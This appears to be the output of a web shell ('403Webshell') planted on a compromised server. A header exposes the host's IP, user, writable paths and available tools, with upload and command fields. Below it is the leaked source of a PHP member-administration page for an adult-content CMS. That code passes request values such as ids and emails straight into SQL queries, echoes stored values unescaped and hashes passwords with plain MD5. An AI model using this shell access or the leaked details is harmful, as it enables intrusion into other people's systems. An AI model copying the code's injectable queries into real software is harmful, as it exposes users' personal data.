403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/designdev/model_admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/designdev/model_admin/users.php
<?php

   $countries = array (
                        "US"  =>  "UNITED STATES",
                        "AF"  =>  "AFGHANISTAN",
                        "AL"  =>  "ALBANIA",
                        "DZ"  =>  "ALGERIA",
                        "AS"  =>  "AMERICAN SAMOA",
                        "AD"  =>  "ANDORRA",
                        "AO"  =>  "ANGOLA",
                        "AI"  =>  "ANGUILLA",
                        "AQ"  =>  "ANTARCTICA",
                        "AG"  =>  "ANTIGUA AND BARBUDA",
                        "AR"  =>  "ARGENTINA",
                        "AM"  =>  "ARMENIA",
                        "AW"  =>  "ARUBA",
                        "AU"  =>  "AUSTRALIA",
                        "AT"  =>  "AUSTRIA",
                        "AZ"  =>  "AZERBAIJAN",
                        "BS"  =>  "BAHAMAS",
                        "BH"  =>  "BAHRAIN",
                        "BD"  =>  "BANGLADESH",
                        "BB"  =>  "BARBADOS",
                        "BY"  =>  "BELARUS",
                        "BE"  =>  "BELGIUM",
                        "BZ"  =>  "BELIZE",
                        "BJ"  =>  "BENIN",
                        "BM"  =>  "BERMUDA",
                        "BT"  =>  "BHUTAN",
                        "BO"  =>  "BOLIVIA",
                        "BA"  =>  "BOSNIA AND HERZEGOVINA",
                        "BW"  =>  "BOTSWANA",
                        "BV"  =>  "BOUVET ISLAND",
                        "BR"  =>  "BRAZIL",
                        "IO"  =>  "BRITISH INDIAN OCEAN TERRITORY",
                        "BN"  =>  "BRUNEI DARUSSALAM",
                        "BG"  =>  "BULGARIA",
                        "BF"  =>  "BURKINA FASO",
                        "BI"  =>  "BURUNDI",
                        "KH"  =>  "CAMBODIA",
                        "CM"  =>  "CAMEROON",
                        "CA"  =>  "CANADA",
                        "CV"  =>  "CAPE VERDE",
                        "KY"  =>  "CAYMAN ISLANDS",
                        "CF"  =>  "CENTRAL AFRICAN REPUBLIC",
                        "TD"  =>  "CHAD",
                        "CL"  =>  "CHILE",
                        "CL"  =>  "CHILE",
                        "CN"  =>  "CHINA",
                        "CX"  =>  "CHRISTMAS ISLAND",
                        "CC"  =>  "COCOS (KEELING) ISLANDS",
                        "CO"  =>  "COLOMBIA",
                        "KM"  =>  "COMOROS",
                        "CG"  =>  "CONGO",
                        "CD"  =>  "CONGO, THE DEMOCRATIC REPUBLIC OF THE",
                        "CK"  =>  "COOK ISLANDS",
                        "CR"  =>  "COSTA RICA",
                        "CI"  =>  "COTE D'IVOIRE",
                        "HR"  =>  "CROATIA",
                        "CU"  =>  "CUBA",
                        "CY"  =>  "CYPRUS",
                        "CZ"  =>  "CZECH REPUBLIC",
                        "DK"  =>  "DENMARK",
                        "DJ"  =>  "DJIBOUTI",
                        "DM"  =>  "DOMINICA",
                        "DO"  =>  "DOMINICAN REPUBLIC",
                        "EC"  =>  "ECUADOR",
                        "EG"  =>  "EGYPT",
                        "SV"  =>  "EL SALVADOR",
                        "GQ"  =>  "EQUATORIAL GUINEA",
                        "ER"  =>  "ERITREA",
                        "EE"  =>  "ESTONIA",
                        "ET"  =>  "ETHIOPIA",
                        "FK"  =>  "FALKLAND ISLANDS (MALVINAS)",
                        "FO"  =>  "FAROE ISLANDS",
                        "FJ"  =>  "FIJI",
                        "FI"  =>  "FINLAND",
                        "FR"  =>  "FRANCE",
                        "GF"  =>  "FRENCH GUIANA",
                        "PF"  =>  "FRENCH POLYNESIA",
                        "TF"  =>  "FRENCH SOUTHERN TERRITORIES",
                        "GA"  =>  "GABON",
                        "GM"  =>  "GAMBIA",
                        "GE"  =>  "GEORGIA",
                        "DE"  =>  "GERMANY",
                        "GH"  =>  "GHANA",
                        "GI"  =>  "GIBRALTAR",
                        "GR"  =>  "GREECE",
                        "GL"  =>  "GREENLAND",
                        "GD"  =>  "GRENADA",
                        "GP"  =>  "GUADELOUPE",
                        "GU"  =>  "GUAM",
                        "GT"  =>  "GUATEMALA",
                        "GN"  =>  "GUINEA",
                        "GW"  =>  "GUINEA-BISSAU",
                        "GY"  =>  "GUYANA",
                        "HT"  =>  "HAITI",
                        "HM"  =>  "HEARD ISLAND AND MCDONALD ISLANDS",
                        "VA"  =>  "HOLY SEE (VATICAN CITY STATE)",
                        "HN"  =>  "HONDURAS",
                        "HK"  =>  "HONG KONG",
                        "HU"  =>  "HUNGARY",
                        "IS"  =>  "ICELAND",
                        "IN"  =>  "INDIA",
                        "ID"  =>  "INDONESIA",
                        "IR"  =>  "IRAN, ISLAMIC REPUBLIC OF",
                        "IQ"  =>  "IRAQ",
                        "IE"  =>  "IRELAND",
                        "IL"  =>  "ISRAEL",
                        "IT"  =>  "ITALY",
                        "JM"  =>  "JAMAICA",
                        "JP"  =>  "JAPAN",
                        "JO"  =>  "JORDAN",
                        "KZ"  =>  "KAZAKHSTAN",
                        "KE"  =>  "KENYA",
                        "KI"  =>  "KIRIBATI",
                        "KP"  =>  "KOREA, DEMOCRATIC PEOPLE'S REPUBLIC OF",
                        "KR"  =>  "KOREA, REPUBLIC OF",
                        "KW"  =>  "KUWAIT",
                        "KG"  =>  "KYRGYZSTAN",
                        "LA"  =>  "LAO PEOPLE'S DEMOCRATIC REPUBLIC",
                        "LV"  =>  "LATVIA",
                        "LB"  =>  "LEBANON",
                        "LS"  =>  "LESOTHO",
                        "LR"  =>  "LIBERIA",
                        "LY"  =>  "LIBYAN ARAB JAMAHIRIYA",
                        "LI"  =>  "LIECHTENSTEIN",
                        "LT"  =>  "LITHUANIA",
                        "LU"  =>  "LUXEMBOURG",
                        "MO"  =>  "MACAO",
                        "MK"  =>  "MACEDONIA, THE FORMER YUGOSLAV REPUBLIC OF",
                        "MG"  =>  "MADAGASCAR",
                        "MW"  =>  "MALAWI",
                        "MY"  =>  "MALAYSIA",
                        "MV"  =>  "MALDIVES",
                        "ML"  =>  "MALI",
                        "MT"  =>  "MALTA",
                        "MH"  =>  "MARSHALL ISLANDS",
                        "MQ"  =>  "MARTINIQUE",
                        "MR"  =>  "MAURITANIA",
                        "MU"  =>  "MAURITIUS",
                        "YT"  =>  "MAYOTTE",
                        "MX"  =>  "MEXICO",
                        "FM"  =>  "MICRONESIA, FEDERATED STATES OF",
                        "MD"  =>  "MOLDOVA, REPUBLIC OF",
                        "MC"  =>  "MONACO",
                        "MN"  =>  "MONGOLIA",
                        "MS"  =>  "MONTSERRAT",
                        "MA"  =>  "MOROCCO",
                        "MZ"  =>  "MOZAMBIQUE",
                        "MM"  =>  "MYANMAR",
                        "NA"  =>  "NAMIBIA",
                        "NR"  =>  "NAURU",
                        "NP"  =>  "NEPAL",
                        "NL"  =>  "NETHERLANDS",
                        "AN"  =>  "NETHERLANDS ANTILLES",
                        "NC"  =>  "NEW CALEDONIA",
                        "NZ"  =>  "NEW ZEALAND",
                        "NI"  =>  "NICARAGUA",
                        "NE"  =>  "NIGER",
                        "NG"  =>  "NIGERIA",
                        "NU"  =>  "NIUE",
                        "NF"  =>  "NORFOLK ISLAND",
                        "MP"  =>  "NORTHERN MARIANA ISLANDS",
                        "NO"  =>  "NORWAY",
                        "OM"  =>  "OMAN",
                        "PK"  =>  "PAKISTAN",
                        "PW"  =>  "PALAU",
                        "PS"  =>  "PALESTINIAN TERRITORY, OCCUPIED",
                        "PA"  =>  "PANAMA",
                        "PG"  =>  "PAPUA NEW GUINEA",
                        "PY"  =>  "PARAGUAY",
                        "PE"  =>  "PERU",
                        "PH"  =>  "PHILIPPINES",
                        "PN"  =>  "PITCAIRN",
                        "PL"  =>  "POLAND",
                        "PT"  =>  "PORTUGAL",
                        "PR"  =>  "PUERTO RICO",
                        "QA"  =>  "QATAR",
                        "RE"  =>  "REUNION",
                        "RO"  =>  "ROMANIA",
                        "RU"  =>  "RUSSIAN FEDERATION",
                        "RW"  =>  "RWANDA",
                        "SH"  =>  "SAINT HELENA",
                        "KN"  =>  "SAINT KITTS AND NEVIS",
                        "LC"  =>  "SAINT LUCIA",
                        "PM"  =>  "SAINT PIERRE AND MIQUELON",
                        "VC"  =>  "SAINT VINCENT AND THE GRENADINES",
                        "WS"  =>  "SAMOA",
                        "SM"  =>  "SAN MARINO",
                        "ST"  =>  "SAO TOME AND PRINCIPE",
                        "SA"  =>  "SAUDI ARABIA",
                        "SN"  =>  "SENEGAL",
                        "CS"  =>  "SERBIA AND MONTENEGRO",
                        "SC"  =>  "SEYCHELLES",
                        "SL"  =>  "SIERRA LEONE",
                        "SG"  =>  "SINGAPORE",
                        "SK"  =>  "SLOVAKIA",
                        "SI"  =>  "SLOVENIA",
                        "SB"  =>  "SOLOMON ISLANDS",
                        "SO"  =>  "SOMALIA",
                        "ZA"  =>  "SOUTH AFRICA",
                        "GS"  =>  "SOUTH GEORGIA AND THE SOUTH SANDWICH ISLANDS",
                        "ES"  =>  "SPAIN",
                        "LK"  =>  "SRI LANKA",
                        "SD"  =>  "SUDAN",
                        "SR"  =>  "SURINAME",
                        "SJ"  =>  "SVALBARD AND JAN MAYEN",
                        "SZ"  =>  "SWAZILAND",
                        "SE"  =>  "SWEDEN",
                        "CH"  =>  "SWITZERLAND",
                        "SY"  =>  "SYRIAN ARAB REPUBLIC",
                        "TW"  =>  "TAIWAN, PROVINCE OF CHINA",
                        "TJ"  =>  "TAJIKISTAN",
                        "TZ"  =>  "TANZANIA, UNITED REPUBLIC OF",
                        "TH"  =>  "THAILAND",
                        "TL"  =>  "TIMOR-LESTE",
                        "TG"  =>  "TOGO",
                        "TK"  =>  "TOKELAU",
                        "TO"  =>  "TONGA",
                        "TT"  =>  "TRINIDAD AND TOBAGO",
                        "TN"  =>  "TUNISIA",
                        "TR"  =>  "TURKEY",
                        "TM"  =>  "TURKMENISTAN",
                        "TC"  =>  "TURKS AND CAICOS ISLANDS",
                        "TV"  =>  "TUVALU",
                        "UG"  =>  "UGANDA",
                        "UA"  =>  "UKRAINE",
                        "AE"  =>  "UNITED ARAB EMIRATES",
                        "GB"  =>  "UNITED KINGDOM",
                        "US"  =>  "UNITED STATES",
                        "UM"  =>  "UNITED STATES MINOR OUTLYING ISLANDS",
                        "UY"  =>  "URUGUAY",
                        "UZ"  =>  "UZBEKISTAN",
                        "VU"  =>  "VANUATU",
                        "VE"  =>  "VENEZUELA",
                        "VN"  =>  "VIET NAM",
                        "VG"  =>  "VIRGIN ISLANDS, BRITISH",
                        "VI"  =>  "VIRGIN ISLANDS, U.S.",
                        "WF"  =>  "WALLIS AND FUTUNA",
                        "EH"  =>  "WESTERN SAHARA",
                        "YE"  =>  "YEMEN",
                        "ZM"  =>  "ZAMBIA",
                        "ZW"  =>  "ZIMBABWE"
                  );

      $states = array (
                        "AL"  =>  "Alabama",
                        "AK"  =>  "Alaska",
                        "AZ"  =>  "Arizona",
                        "AR"  =>  "Arkansas",
                        "CA"  =>  "California",
                        "CO"  =>  "Colorado",
                        "CT"  =>  "Connecticut",
                        "DC"  =>  "D.C.",
                        "DE"  =>  "Delaware",
                        "FL"  =>  "Florida",
                        "GA"  =>  "Georgia",
                        "HI"  =>  "Hawaii",
                        "ID"  =>  "Idaho",
                        "IL"  =>  "Illinois",
                        "IN"  =>  "Indiana",
                        "IA"  =>  "Iowa",
                        "KS"  =>  "Kansas",
                        "KY"  =>  "Kentucky",
                        "LA"  =>  "Louisiana",
                        "ME"  =>  "Maine",
                        "MD"  =>  "Maryland",
                        "MA"  =>  "Massachusetts",
                        "MI"  =>  "Michigan",
                        "MN"  =>  "Minnesota",
                        "MS"  =>  "Mississippi",
                        "MO"  =>  "Missouri",
                        "MT"  =>  "Montana",
                        "NE"  =>  "Nebraska",
                        "NV"  =>  "Nevada",
                        "NH"  =>  "New Hampshire",
                        "NJ"  =>  "New Jersey",
                        "NM"  =>  "New Mexico",
                        "NY"  =>  "New York",
                        "NC"  =>  "North Carolina",
                        "ND"  =>  "North Dakota",
                        "OH"  =>  "Ohio",
                        "OK"  =>  "Oklahoma",
                        "OR"  =>  "Oregon",
                        "PA"  =>  "Pennsylvania",
                        "RI"  =>  "Rhode Island",
                        "SC"  =>  "South Carolina",
                        "SD"  =>  "South Dakota",
                        "TN"  =>  "Tennessee",
                        "TX"  =>  "Texas",
                        "UT"  =>  "Utah",
                        "VT"  =>  "Vermont",
                        "VA"  =>  "Virginia",
                        "WA"  =>  "Washington",
                        "WV"  =>  "West Virginia",
                        "WI"  =>  "Wisconsin",
                        "WY"  =>  "Wyoming"
                 );
                
             
	include ('../config.php');
	dbConn();

	include("auth.php");
	include("model-header.php");

if (isset($_POST['edit'])) {

$member_id = $_POST['member_id'];

// POST VARS	
$email = addslashes($_POST['email']);
$password = md5($_POST['password']);
$display_name = addslashes($_POST['display_name']);
$birthday = $_POST['byear']."-".$_POST['bmonth']."-".$_POST['bday'];
$join_date = $_POST['jyear']."-".$_POST['jmonth']."-".$_POST['jday'];
$first_name = addslashes($_POST['first_name']);
$last_name = addslashes($_POST['last_name']);
$addr_street = addslashes($_POST['addr_street']);
$addr_city = addslashes($_POST['addr_city']);
$addr_state = addslashes($_POST['addr_state']);
$addr_zip = addslashes($_POST['addr_zip']);
$addr_country = addslashes($_POST['addr_country']);
$phone_number = addslashes($_POST['phone_number']);
$send_news = $_POST['send_news'];



$feature_split = explode("_",$_POST['feature']);

$feature_id = $feature_split[1];
$feature_type = $feature_split[0];

if ($feature_id == 1 || $feature_id == 2) {
	$feature = "1";
	//$display_name = addslashes($feature_split[2]);
} elseif ($feature_id == 3) {
	$feature = "2";
} else {
	$feature = "0";
}


		$old_display_name = addslashes($_POST['old_display_name']);
		if ($display_name != $old_display_name) {
		// CHECK FOR DISPLAY_NAME
		$check_dn = mysql_query("SELECT member_id FROM cms_members WHERE display_name = '".$display_name."'");
		$check_dn_num = mysql_num_rows($check_dn);
		
			if ($check_dn_num > 0) {
				die("&bull;  That display name is already in use! -- use back button");
			}
		}


$sql = "UPDATE cms_members SET
feature='$feature',
feature_type='$feature_type',
feature_id='$feature_id',";

if(!$_POST['password'] == ""){
$sql .= "password='$password',";
}
$sql .= "display_name='$display_name',
birthday='$birthday',
join_date='$join_date',
firstname='$first_name',
lastname='$last_name',
addr_street='$addr_street',
addr_city='$addr_city',
addr_state='$addr_state',
addr_zip='$addr_zip',
addr_country='$addr_country',
phone_number='$phone_number',
send_news='$send_news',
confirmed='1'
WHERE member_id='$member_id'";    



    if (@mysql_query($sql)) {
			printf("<meta http-equiv=\"Refresh\" content=\"0;url=./users.php\">");
    } else {
        echo 'Error:' . mysql_error();
    } 
		
} elseif (isset($_POST['post'])) {


// POST VARS	
$email = addslashes($_POST['email']);
$password = md5($_POST['password']);
$display_name = addslashes($_POST['display_name']);
$birthday = $_POST['byear']."-".$_POST['bmonth']."-".$_POST['bday'];
$join_date = $_POST['jyear']."-".$_POST['jmonth']."-".$_POST['jday'];
$first_name = addslashes($_POST['first_name']);
$last_name = addslashes($_POST['last_name']);
$addr_street = addslashes($_POST['addr_street']);
$addr_city = addslashes($_POST['addr_city']);
$addr_state = addslashes($_POST['addr_state']);
$addr_zip = addslashes($_POST['addr_zip']);
$addr_country = addslashes($_POST['addr_country']);
$phone_number = addslashes($_POST['phone_number']);
$send_news = $_POST['send_news'];


// CHECK EMAIL ADDRESS
	$exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
	if(!eregi($exp, $_POST['email'])) {
		die("Invalid e-mail address!");
	}	

// CHECK FOR EMAIL ADDRESS
$check_em = mysql_query("SELECT member_id FROM cms_members WHERE email = '".$_POST['email']."'");
$check_em_num = mysql_num_rows($check_em);

	if ($check_em_num > 0 ) {
		die("This e-mail address is already a member!");
	}

	/* Not using feature
$feature_split = explode("_",$_POST['feature']);

$feature_id = $feature_split[1];
$feature_type = $feature_split[0];

if ($feature_id == 1 || $feature_id == 2) {
	$feature = "1";
	//$display_name = addslashes($feature_split[2]);
} elseif ($feature_id == 3) {
	$feature = "2";
} else {
	$feature = "0";
}
	*/

$feature_id = 0;
$feature_type = 0;
$feature = "0";

		// CHECK FOR DISPLAY_NAME
		$check_dn = mysql_query("SELECT member_id FROM cms_members WHERE display_name = '".$display_name."'");
		$check_dn_num = mysql_num_rows($check_dn);
		
			if ($check_dn_num > 0) {
				die("&bull;  That display name is already in use! -- use back button");
			}


$sql = "INSERT INTO cms_members SET
feature='$feature',
feature_type='$feature_type',
feature_id='$feature_id',
join_date='$join_date',
email='$email',
password='$password',
display_name='$display_name',
birthday='$birthday',
firstname='$first_name',
lastname='$last_name',
addr_street='$addr_street',
addr_city='$addr_city',
addr_state='$addr_state',
addr_zip='$addr_zip',
addr_country='$addr_country',
phone_number='$phone_number',
send_news='$send_news',
confirmed='1'";

    if (@mysql_query($sql)) {
    	printf("<meta http-equiv=\"Refresh\" content=\"0;url=./users.php\">");
    } else {
        echo 'Error:' . mysql_error();
    } 
		
} elseif (isset($_POST['del'])) {
    $id = $_POST['id'];
		$action = $_POST['action'];
			
			if ($action == 1) {
			$query = mysql_query("UPDATE cms_members SET confirmed='1' WHERE member_id = '" . $id . "' limit 1");
			} else {
			$query = mysql_query("UPDATE cms_members SET confirmed='0' WHERE member_id = '" . $id . "' limit 1");
			}
			
		//$query = mysql_query("UPDATE cms_members SET confirmed='0' WHERE member_id = '" . $id . "' limit 1");
    //$query = mysql_query("DELETE from cms_members where member_id = '" . $id . "' limit 1");
		// DELTE RATINGS, FAVORITES, WISHLISTS, COMMENTS... ETC, ETC, ETC.
    printf("<meta http-equiv=\"Refresh\" content=\"0;url=./users.php\">");
} elseif (isset($_GET["add"])) {
?>

<br>
<br>
<form action="users.php" method="POST">
  <table width="800" border="0" align="center" cellpadding="5" cellspacing="0">
    <tr>
      <td bgcolor="#CCCCCC" colspan="2"><span class="fourbold">Add User</span> - <a href="users.php">Back to List</a> </td>
    </tr>
    <tr>
      <td><div align="right">first name</div></td>
      <td><input name="first_name" type="text"  class="grey" maxlength="255"/></td>
    </tr>
    <tr>
      <td><div align="right">last name</div></td>
      <td><input name="last_name" type="text"  class="grey" maxlength="255"/></td>
    </tr>
    <tr>
      <td><div align="right">e-mail address</div></td>
      <td><input name="email" type="text" class="grey" maxlength="255"/></td>
    </tr>
     <tr>
      <td><div align="right">password</div></td>
      <td><input name="password" type="text"  class="grey" maxlength="15"/></td>
    </tr>
    <tr>
      <td><div align="right">display name(screen name)</div></td>
      <td><input name="display_name" type="text"  class="grey" maxlength="100"/></td>
    </tr>
    <tr>
      <td><div align="right">birthday</div></td>
      <td><select name="bmonth" class="grey">
          <?
for ($i=1;$i<13;$i++) {
	if ($i == $_POST['bmonth']) {
		echo "<option selected=\"selected\" value=\"".$i."\">".date("F", mktime(0, 0, 0, $i, 1, 2008))."</option>";
	} else {
		echo "<option value=\"".$i."\">".date("F", mktime(0, 0, 0, $i, 1, 2008))."</option>";
	}
}
?>
        </select>
        <select name="bday" class="grey">
          <?
for ($i=1;$i<32;$i++) {
	if ($i == $_POST['bday']) {
		echo "<option selected=\"selected\">".$i."</option>";
	} else {
		echo "<option>".$i."</option>";
	}
}
?>
        </select>
        <select name="byear" class="grey">
          <?
$eightteen = date("Y")-18;
for ($i=$eightteen;$i>1940;$i--) {
	if ($i == $_POST['byear']) {
		echo "<option selected=\"selected\">".$i."</option>";
	} else {
		echo "<option>".$i."</option>";
	}
}
?>
        </select></td>
    </tr>
    <tr>
      <td><div align="right">recieve news updates via e-mail?</div></td>
      <td><select name="send_news" class="grey">
          <option value="1" selected="selected">Yes</option>
          <option value="0">No</option>
        </select></td>
    </tr>
   <tr>
      <td><div align="right">Join Date</div></td>
      <td><select name="jmonth" class="grey">
          <?
for ($i=1;$i<13;$i++) {
	if ($i == $_POST['jmonth']) {
		echo "<option selected=\"selected\" value=\"".$i."\">".date("F", mktime(0, 0, 0, $i, 1, 2008))."</option>";
	} else {
		echo "<option value=\"".$i."\">".date("F", mktime(0, 0, 0, $i, 1, 2008))."</option>";
	}
}
?>
        </select>
        <select name="jday" class="grey">
          <?
for ($i=1;$i<32;$i++) {
	if ($i == $_POST['jday']) {
		echo "<option selected=\"selected\">".$i."</option>";
	} else {
		echo "<option>".$i."</option>";
	}
}
?>
        </select>
        <select name="jyear" class="grey">
          <?
$eightteen = date("Y")-18;
for ($i=$eightteen;$i>1940;$i--) {
	if ($i == $_POST['jyear']) {
		echo "<option selected=\"selected\">".$i."</option>";
	} else {
		echo "<option>".$i."</option>";
	}
}
?>
        </select></td>
    </tr>
    <tr>
      <td><div align="right">street address</div></td>
      <td><input name="addr_street" type="text"  class="grey" maxlength="255"/></td>
    </tr>
    <tr>
      <td><div align="right">city</div></td>
      <td><input name="addr_city" type="text"  class="grey" maxlength="255"/></td>
    </tr>
    <tr>
      <td><div align="right">state</div></td>
      <td><select name="addr_state" class="grey">
          <option value="">Choose State - US Residents</option>
          <? 
	foreach($states as $key=>$value) {
        	echo "<option value=\"$key\"";
		if($addr_state == $key) {
               		echo " selected=\"selected\"";
		}
        	echo ">$value</option>\n";
	}
	?>
        </select></td>
    </tr>
    <tr>
      <td><div align="right">zip</div></td>
      <td><input name="addr_zip" type="text" class="grey" maxlength="15"/></td>
    </tr>
    <tr>
      <td><div align="right">country</div></td>
      <td><select name="addr_country" class="grey">
          <option value="">Choose Country</option>
          <? foreach($countries as $key=>$value) {
                echo "<option value=\"$key\"";
                if($addr_country == $key) {
                        echo " selected=\"selected\""; 
		}
                echo ">$value</option>\n";
        }
				?>
        </select></td>
    </tr>
    <tr>
      <td><div align="right">phone number</div></td>
      <td><input name="phone_number" type="text"  class="grey" maxlength="255"/></td>
    </tr>
    <tr>
      <td colspan="2"><div align="center"><br />
          <br />
          <input name="post" type="submit" value="     Add User     " class="grey">
        </div></td>
    </tr>
  </table>
</form>
<?php
} elseif (isset($_GET['delete'])) {
    $id = $_GET['id'];
		//$query = mysql_query("DELETE FROM cms_photographers_tags where photographer_id = '$id'");
    $query = "SELECT * from cms_members where member_id = '".$id."'";
    $result = @mysql_query($query);
    if (!$result) {
        die('Error');
    }
		
		while ($row = mysql_fetch_array($result)) {
			if ($row['confirmed'] == 1) {
			$txt = "DISABLE";
			$action = 0;
			} else {
			$txt = "ENABLE";
			$action = 1;
			}
        ?>
<br>
<br>
<table width="800" border="0" align="center" cellpadding="5" cellspacing="0">
  <tr>
    <td bgcolor="#CCCCCC"><span class="fourbold">
      <?=$txt?>
      user</span> - <a href=users.php>Back to List</a> </td>
  </tr>
  <tr>
    <td><div align="center">Are you sure you want to
        <?=$txt?>
        :<br>
        <?=$row['email']?>
        <br>
        <form action="users.php" method="POST">
          <input type="hidden" name="id" value="<?=$id?>">
          <input type="hidden" name="action" value="<?=$action?>">
          <input name="del" type="submit" value="<?=$txt?>" class="grey">
        </form>
      </div></td>
  </tr>
</table>
<?
    
    } 
} elseif (isset($_GET["edit"])) {
    if ($_GET["id"] == "") {
        die('Error');
    } else {
        $id = $_GET["id"];
    } 
    $query = "SELECT * from cms_members where member_id = '$id'";
    $result = @mysql_query($query);
    if (!$result) {
        // die('Error');
    }
		
		while ($row = mysql_fetch_array($result)) {
		
$bd = explode("-", $row['birthday']);

?>
<br>
<br>
<form action="users.php" method="POST">
  <table width="800" border="0" align="center" cellpadding="5" cellspacing="0">
  <tr>
    <td bgcolor="#CCCCCC"><span class="fourbold">Edit User</span> - <a href="users.php">Back to List</a> </td>
  </tr>
  <tr>
    <td><table width="700" border="0" align="center" cellpadding="5" cellspacing="0">
        <tr>
          <td><div align="right">e-mail address</div></td>
          <td><?=stripslashes($row['email'])?></td>
        </tr>
        <tr>
          <td><div align="right"><br />FEATURED USER</div></td>
          <td><br />
            <br />
            <select name="feature" class="grey">
              <option selected="selected" value="0_0_0">NOT FEATURED</option>
              <option value="3_0_0">DIGINUDES STAFF</option>
              <?php        
$sql2 = mysql_query("SELECT 1 as type, model_id AS id, name FROM `cms_models`
UNION
SELECT 2 as type, photographer_id AS id, name FROM `cms_photographers`
ORDER BY name");
while ($row2 = mysql_fetch_array($sql2)) {
if ($row2['id'] == $row['feature_id'] && $row2['type'] == $row['feature_type']) {
echo "<option value=\"".$row2['type']."_".$row2['id']."_".stripslashes($row2['name'])."\" selected=\"selected\">".stripslashes($row2['name'])."</option>";	
} else {
echo "<option value=\"".$row2['type']."_".$row2['id']."_".stripslashes($row2['name'])."\">".stripslashes($row2['name'])."</option>";
}
}		
?>
            </select>
            <br />
            <br />
          </td>
        </tr>
        <tr>
          <td><div align="right">new password</div></td>
          <td><input name="password" type="text" maxlength="15" class="grey"/></td>
        </tr>
        <tr>
          <td><div align="right">display name(screen name)</div></td>
          <td><input name="display_name" type="text" value="<?=stripslashes($row['display_name'])?>" maxlength="100" class="grey"/></td>
        </tr>
        <tr>
          <td><div align="right">birthday</div></td>
          <td><select name="bmonth" class="grey">
              <?
					
for ($i=1;$i<13;$i++) {
	if ($i == $bd[1]) {
		echo "<option selected=\"selected\" value=\"".$i."\">".date("F", mktime(0, 0, 0, $i, 1, 2008))."</option>";
	} else {
		echo "<option value=\"".$i."\">".date("F", mktime(0, 0, 0, $i, 1, 2008))."</option>";
	}
}
?>
            </select>
            <select name="bday" class="grey">
              <?
for ($i=1;$i<32;$i++) {
	if ($i == $bd[2]) {
		echo "<option selected=\"selected\">".$i."</option>";
	} else {
		echo "<option>".$i."</option>";
	}
}
?>
            </select>
            <select name="byear" class="grey">
              <?
$eightteen = date("Y")-18;
for ($i=$eightteen;$i>1940;$i--) {
	if ($i == $bd[0]) {
		echo "<option selected=\"selected\">".$i."</option>";
	} else {
		echo "<option>".$i."</option>";
	}
}
?>
            </select></td>
        </tr>
        <tr>
          <td><div align="right">recieve news updates via e-mail?</div></td>
          <td><select name="send_news" class="grey">
              <option value="1" <? if($row['send_news'] == "1") { ?>selected="selected"<? } ?>>Yes</option>
              <option value="0"<? if($row['send_news'] == "0") { ?>selected="selected"<? } ?>>No</option>
            </select></td>
        </tr>
        <tr>
          <td><div align="right">first name</div></td>
          <td><input name="first_name" type="text" value="<?=stripslashes($row['firstname'])?>" maxlength="255" class="grey"/></td>
        </tr>
        <tr>
          <td><div align="right">last name</div></td>
          <td><input name="last_name" type="text" value="<?=stripslashes($row['lastname'])?>" maxlength="255" class="grey"/></td>
        </tr>
        <tr>
          <td><div align="right">street address</div></td>
          <td><input name="addr_street" type="text" value="<?=stripslashes($row['addr_street'])?>" maxlength="255" class="grey"/></td>
        </tr>
        <tr>
          <td><div align="right">city</div></td>
          <td><input name="addr_city" type="text" value="<?=stripslashes($row['addr_city'])?>" maxlength="255" class="grey"/></td>
        </tr>
        <tr>
          <td><div align="right">state</div></td>
          <td><select name="addr_state" class="grey">
              <option value="">Choose State - US Residents</option>
              <? 
	foreach($states as $key=>$value) {
        	echo "<option value=\"$key\"";
		if($row['addr_state'] == $key) {
               		echo " selected=\"selected\"";
		}
        	echo ">$value</option>\n";
	}
	?>
            </select></td>
        </tr>
        <tr>
          <td><div align="right">zip</div></td>
          <td><input name="addr_zip" type="text" value="<?=stripslashes($row['addr_zip'])?>" maxlength="15" class="grey"/></td>
        </tr>
        <tr>
          <td><div align="right">country</div></td>
          <td><select name="addr_country" class="grey">
              <option value="">Choose Country</option>
              <? foreach($countries as $key=>$value) {
                echo "<option value=\"$key\"";
                if($row['addr_country'] == $key) {
                        echo " selected=\"selected\""; 
		}
                echo ">$value</option>\n";
        }
				?>
            </select></td>
        </tr>
        <tr>
          <td><div align="right">phone number</div></td>
          <td><input name="phone_number" type="text" value="<?=stripslashes($row['phone_number'])?>" maxlength="255" class="grey"/></td>
        </tr>
        <tr>
          <td colspan="2"><div align="center"><br />
              <br />
              <input type="hidden" name="member_id" value="<?=$row['member_id']?>">
              <input type="hidden" name="old_display_name" value="<?=$row['display_name']?>">
              <input name="edit" type="submit" value="     Save     " class="grey">
            </div></td>
        </tr>
      </table>
</form>
</td>
</tr>
</table>
<?php
    } 
} else {

if (isset($_GET['sort'])) {
	if ($_GET['sort'] == "date") {
		$sort = "join_date DESC";
	} else {
		$sort = "display_name";
	}
} else {
$sort = "email";
}
    $sql = "Select * FROM cms_members ORDER BY ".$sort;

    $result = @mysql_query($sql);
    if (!$result) {
        die('Error:' . mysql_error());
    } 

    ?>
<br>
<br>
<table width="800" border="0" align="center" cellpadding="5" cellspacing="0">
<tr>
  <td bgcolor="#CCCCCC"><span class="fourbold">Users</span> - <a href="users.php?add=yes">Add User</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="users.php">sort by email address</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="users.php?sort=date">sort by join date</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href="users.php?sort=dname">sort by display name</a></td>
</tr>
<tr>
  <td><table align="center" width="700" border="0" cellpadding="5" cellspacing="5">
    <tr>
      <td width="75" bgcolor="#CCCCCC">&nbsp;</td>
      <td width="125" bgcolor="#CCCCCC">&nbsp;</td>
      <td bgcolor="#E6E6E6"><strong>joined</strong></td>
      <td bgcolor="#E6E6E6"><strong>name</strong></td>
      <td bgcolor="#E6E6E6"><strong>email</strong></td>
    </tr>
    <tr>
      <?php

